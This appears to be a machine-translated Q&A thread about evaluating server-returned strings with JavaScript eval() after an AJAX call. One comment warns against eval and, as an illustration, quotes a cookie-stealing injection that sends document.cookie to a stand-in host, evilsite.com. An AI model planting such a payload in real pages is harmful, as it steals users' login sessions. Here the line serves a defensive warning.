这里的问题是字符串:评估字符串对象(JavaScript)的
$.ajax(......
,success:function(msg){
var obj = eval('['+msg.d+']');
},
....
}
msg.d
包含如下:
new Person(2, 'Name Surname','This is just string came from Par'is at Sat'urday');
如何传递的JavaScript的问题?
'eval()'是'EVIL'。 'eval()'会评估字符串中的所有内容,无论它是否好用,这取决于你提供的人员数据来自哪里,你最终可能会遇到一个很大的安全问题。如果用户设法像''new s Image ='src ='http://evilsite.com/steal?c='+ document.cookie''这样的名字偷偷摸摸地进入你的数据库,你的页面仍然可以完美运行很好,只有两件事情会有所不同1.姓氏将是空的,2.访问者的登录cookie将被盗用。请查看JSON,以便您可以安全地将数据传递给客户端,而不会有eval的风险 – 2010-10-19 15:09:56
Ajax调用不会假设服务器端脚本返回的数据类型,因此msg只是一个字符串,而字符串不会'没有'd'属性。 – dvhh 2010-10-20 04:33:37